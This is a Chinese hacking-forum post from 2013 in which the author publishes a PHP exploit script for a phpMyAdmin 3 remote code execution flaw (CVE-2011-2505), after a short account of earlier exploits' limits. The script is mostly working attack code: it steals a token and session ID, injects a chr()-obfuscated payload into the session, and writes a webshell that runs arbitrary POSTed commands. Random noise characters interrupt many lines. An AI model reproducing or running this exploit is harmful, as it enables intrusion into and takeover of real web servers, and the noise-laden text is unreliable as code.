找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1982|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
3 i5 Q  T% f/ d3 d5 V8 \$ T2 U) L% q( [# E8 Y
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
$ o/ M/ K8 x; z# z
; u6 q1 h6 s" I/ {. T' ]首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
* r: f, ]- A/ `" ?% G. t一是session.auto_start = 1;  X+ \) N5 C- v6 G, q; S! Q( f
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。: \- f- X( W# ?# t% V. j! U
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。: I+ g- J* v- R' f. n4 @$ w, t

: A8 `' |1 t6 M3 [/ d. k* J6 L在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
# O  |; Z& n* r: K
( C' S: `: O) P; b5 I( W于是写了这个php版本的exp,代码如下:
! N' q- v' Y, q+ U
5 I8 S  W- S" T9 [' H$ \+ J/ ^#!/usr/bin/php0 p. ^+ M, t4 B; i' x
<?php. M; n. N* O, _; w( r- I% G1 t# W% w
print_r('0 X$ S0 P7 g7 p) p7 f
+---------------------------------------------------------------------------+
0 n5 S7 b- x$ M% U' O" Opma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]: }, ]1 D6 i. }0 c5 T7 t" G
by oldjun(www.oldjun.com)# \$ P" F" [* V0 U! R2 g2 e
welcome to www.t00ls.net
; H/ u' m1 |9 z! j! F, ]+ ]3 d! [mail: oldjun@gmail.com
- V  A/ e) w; v5 D1 A- aAssigned CVE id: CVE-2011-2505
2 q& I! t) M; F6 Y) o* E+---------------------------------------------------------------------------+9 B* ~& N; W! l5 ^: W
');
% }- w: |4 G. ^  i! b( Y4 q! t$ P0 k$ a* T! v- ^
/**' k7 k, {4 s8 a( O7 H. }
* working when the directory:"config" exists and is writeable.
& r; D- d' T4 Z+ {**/2 {3 {0 `/ a4 `4 J6 Q0 }
, Q- e* I* W2 k/ i, A. r
if ($argc < 3) {; r; y3 I  |; y3 K( R
    print_r('
/ F/ u( C4 z5 S6 q: u1 m) F, a+---------------------------------------------------------------------------+( `' ^- t9 B' H3 c) I
Usage: php '.$argv[0].' host path# D* d' {- g! r) M+ O
host:      target server (ip/hostname)
4 V5 n* B! w) ]7 gpath:      path to pma3
5 Y4 \& p# N! E2 oExample:! L# ?- ]$ |/ ^+ N" Z% B3 a7 J4 J
php '.$argv[0].' localhost /pma// u; _7 {* |/ Z" T, }
+---------------------------------------------------------------------------+0 H* w6 ?0 F( [: o% p
');9 Y: h$ }: Z  E
    exit;
- q( G! f$ z3 ^; H}
, r& |7 y, O$ X5 }# Y- z* l
  f$ J/ c0 x' i' X1 @+ s: a% F$host = $argv[1];
" q- n- D% W4 v# V: e$path = $argv[2];5 n) H5 ]' Y! w, }

. O/ d  N6 O5 \/**; {/ }( P) V, ?* Z8 V
* Try to determine if the directory:"config" exists/ m) a* g9 l3 B0 S! s0 [3 O  x
**/7 ^+ G: _2 a, l7 G5 t
echo "[+] Try to determine if the directory:config exists....\n";
# e+ b* L5 E* H: n0 h! [$returnstr=php_request('config/');
/ W, }, E! k/ B$ o) |if(strpos($returnstr,'404')){% ^7 g: _9 q8 S2 j: ?+ n1 d
    exit("[-] Exploit Failed! The directory:config do not exists!\n");1 V3 z( Q* J7 a$ Q
}' L0 q: y9 i6 u( z( V  A

' K0 v' m% V$ A5 D( {' f9 X. M3 V/**( L% o# K) l: ~- q3 d" a
* Try to get token and sessionid+ \+ d4 _. c& k+ p
**/
& i; K! W. \5 r' g! yecho "[+] Try to get token and sessionid....\n";
& E. c0 }- I( o8 E% a1 `$result=php_request('index.php');. j, X& O$ k2 E, j+ r' @
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
  T% ~- A, ]9 Y- J$token=$resp[3];" z' j1 j- X7 c
$sessionid=$resp[1];3 \* T' @2 o# Y
if($token && $sessionid){
+ u% q; b/ U( }* a7 t1 }4 n  ^    echo "[+] tokentoken\n";( y; P0 _! {3 D6 |! g2 ?5 v
    echo "[+] Session IDsessionid\n";, H1 B; O8 `% o- V- x" h! L
}else{( l. X; c1 q8 f& F1 A% U' Y
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");7 ^( ~2 I  W4 z! z
}' K/ e0 X3 S& E" f, a& C& }2 A
* c6 D4 o* O) _9 j) k3 h& X
/**( c+ g" F0 ]6 |9 y6 O' {
* Try to insert shell into session
" n' W, |0 l; H/ D4 N**/
8 U* U' G( _/ z/ K* V+ g3 \echo "[+] Try to insert shell into session....\n";
, R( S. x/ v+ [$ J3 d8 B4 Lphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
* l: U+ E8 @! @5 _% v& c" D- D' ?7 s9 H; _- m* c& `
/**
# h+ }0 Q: R; l * Try to create webshell; A' |8 g3 T6 p8 \' `( N- u
**/
2 v; s! L. |+ b) R5 |4 N/ decho "[+] Try to create webshell....\n";  T5 L6 u) w, k$ I) N+ Y, z
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);& e1 e! y. c% s7 u* Z0 o
/**
9 M# S# H2 f6 D' x/ O- \ * Try to check if the webshell was created successfully
, [+ V/ U+ g' ^**/! E+ |7 B. J; i) W
echo "[+] Try to check if the webshell was created successfully....\n";
9 L, l( C! [) z8 w" |$content=php_request('config/config.inc.php');
6 A# S  C  z# m& Vif(strpos($content,'t00ls')){: l& d8 s1 v6 T& P
    echo "[+] Congratulations! Expoilt successfully....\n";
' B+ x- r; h6 r" ^4 E/ \    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";: @2 k; w) D$ U) W6 D
}else{8 [# M4 N$ P; ^" f5 p  |# i# i% Y9 K" w
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");; E' s( l* ?, Z& L; {- {
}
7 ]1 K* N9 O3 T" o) o5 z* _2 N0 N& X) j% \" ]; }
function php_request($url,$data='',$cookie=''){
. |. [, i( {$ |, F& a/ ]    global  $host, $path;
1 r+ ?0 I" r- J  l% ]3 _5 n$ D   
: o4 j9 s; c, }# j: H    $method=$data?'POST':'GET';
2 f6 u* k# G$ {! Y   
: o: w% k1 G4 v9 o* w; }    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
- u6 ?! @5 r% o  O& k7 y3 `: @7 W    $packet .= "Accept: */*\r\n";( ?  g" T* U) F
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";& L- A) D& y7 ~8 @; t
    $packet .= "Host: $host\r\n";
# t) V; H% O0 p8 i% i# d5 l    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";7 P+ @$ V1 @5 u. }$ p2 t
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";1 R; j' k/ X3 ]8 p% ~2 {
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
  D1 p3 [4 ~6 a: V& H0 ~    $packet .= "Connection: Close\r\n\r\n";
  l* ]7 Y4 j- k( z  s9 E/ v1 x    $packet .= $data?$data:"";
& Y' R# M, x( H! j  n
* w! J- h* p; ]' D( T+ Y# I8 A5 w2 @    $fp = fsockopen(gethostbyname($host), 80);6 `. k/ n/ h) `
    if (!$fp) {
, J$ \, J! N1 W8 [( d* X. u    echo 'No response from '.$host; die;
, u/ X' b% `. }; ]    }! N( U% X% y* j2 \! F* V6 m4 D
    fputs($fp, $packet);
3 N* d1 @' `9 d0 y3 g7 E, S
3 H; S9 Q2 n9 R( e5 G8 {% X    $resp = '';
6 }, P: [3 H) T! V
: f7 F; y$ r+ o2 F# Z+ ?    while ($fp && !feof($fp))
. X  R3 _1 W+ [/ c        $resp .= fread($fp, 1024);
8 b; J5 l5 l: s+ u# M. F2 ~8 |
/ O" h; }$ ]! l$ O    return $resp;9 t/ P6 C7 T, r/ F, z4 ^+ G4 Z
}$ A! k% j% g; V! m3 |4 z
   
+ \6 U. K9 y8 j+ P& @?>
; H* L* V" Z9 }: Q4 q9 s.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表